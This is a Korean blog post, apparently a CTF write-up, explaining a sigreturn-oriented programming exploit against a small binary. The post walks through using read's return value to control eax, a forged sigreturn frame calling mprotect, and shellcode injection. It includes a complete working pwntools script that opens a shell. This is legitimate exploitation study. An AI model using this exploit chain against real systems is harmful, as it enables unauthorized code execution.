- 핵심.read 함수의 리턴은 eax 에 저장되고 이는 길이를 반환한다.
필요한 것
- rao
- syscall; ret gadget
- 셸코드 or binsh 인데 binsh 삽입보다 셸코드 넣는게 더 가능성 높을 듯
- sigreturn frame
- read
Exploit method
- mprotect 를 호출해서 code 영역에 쓰기, 실행 권한을 부여한다.
- shellcode 를 삽입해서 실행한다.
Attack Flow
우선 read syscall 을 하는데 mov edx, 0x130
으로 bof 가 발생하고 rao가 가능하다.
syscall gadget 이 있는데 eax control gadget 이 없어 보이는데 read syscall 의 return 은 입력받은 문자열의 길이 이기 때문에 eax 를 조작할 수 있다. (보통 일반적인 return 값 은 eax에 저장됨)
(mov eax, 0x0), (mov edi, 0x0), (mov rsi, rsp-0x10), (mov edx, 0x130), syscall
(mov eax, 0x0), (mov edi, 0x0), (mov rsi, rsp-0x10), (mov edx, 0x130), syscall
(mov eax, (readlen)), syscall
즉
read(0, rsp-0x10, 0x130) #1
read(0, rsp-0x10, 0x130) #2 eax control
syscall(readlen) #3
sigreturn frame
가 된다.
1, 2, 3, 으로 나눠서 생각해보면
# 1read(0, stack (rsp-0x10), 0x130)
<- payload (read, syscall)
처음 페이로드, rao 하는 거
read, syscall, sigreturn frame넣어둠.
mprotect(addr, size, prot)
rax = mprotect
rdi = 0x401000 (code)
rsi = 0x1000 (size)
rdx = 7 (rwx)
rsp = 0x401050
rip = sysret
0x401000 ~ 0x402000 까지 rwx 로 만들어줌
0x401050 위치로 하면 ret 했을 때 0x401000 로 돌아간다.
# 2 eax control <- 0xf sigret
read 로 0xf 만큼 넣으면 eax 를 0xf 로 세팅 가능 sigreturn 후에
context exchange 에 의해 세팅된 레지스터로 mprotect 하고 code 영역에 쓰기 권한을 부여한다.
미리 세팅해둔 주소에 의해 0x401000으로 ret 하고 입력을 한번 더 받는다.
여기서 shellcode injection
rsp는 0x401050 을 가리키고 있기 때문에 0x401050-0x10 + 0x8 해서 0x401058번째로 rao 해서 셸코드를 실행 시킨다.
끝
payload
from pwn import *
REMOTE = False
if REMOTE:
p = remote("localhost", 10007)
else:
p = process("./sys")
context(arch='amd64', os='linux', log_level = 'debug')
context.clear(arch='amd64')
context.log_level = 'debug'
sysret = 0x40101b
read = 0x401005
new_ret = 0x401000 # Program Entrypoint
writable = 0x401000
frame = SigreturnFrame()
frame.rax = 0xa # mprotect
frame.rdi = writable # 0x401000
frame.rsi = 0x1000
frame.rdx = 0x7
# frame.r15 = 0x401123
frame.rsp = 0x401050
frame.rip = sysret
payload = b''
payload += b'a' *0x10
payload += p64(read)
payload += p64(sysret)
payload += bytes(frame)
p.send(payload)
# read
payload = b'B'*0xf # sigret
p.send(payload) # sigreturn()
sc = shellcraft.sh()
# p.send(b"")
sleep(1)
payload = b''
payload += b'a'*0x10
payload += p64(0x401058)
payload += asm(sc)
p.send(payload)
p.interactive()
참고 자료
https://hackmd.io/@imth/SROP
이 글은 옵시디언을 이용해서 작성되었습니다.
'TOOR' 카테고리의 다른 글
[TOOR] 18.2 dream_restaurant write up(미완) (0) | 2023.10.12 |
---|---|
[TOOR] 6.2 Toor_Canary write_up (0) | 2023.10.07 |
[TOOR] 11.3. Holymoly write up (0) | 2023.10.04 |
[TOOR] 15.2. fsb write up (0) | 2023.10.03 |
[TOOR] 21. __rtld_global (0) | 2023.10.02 |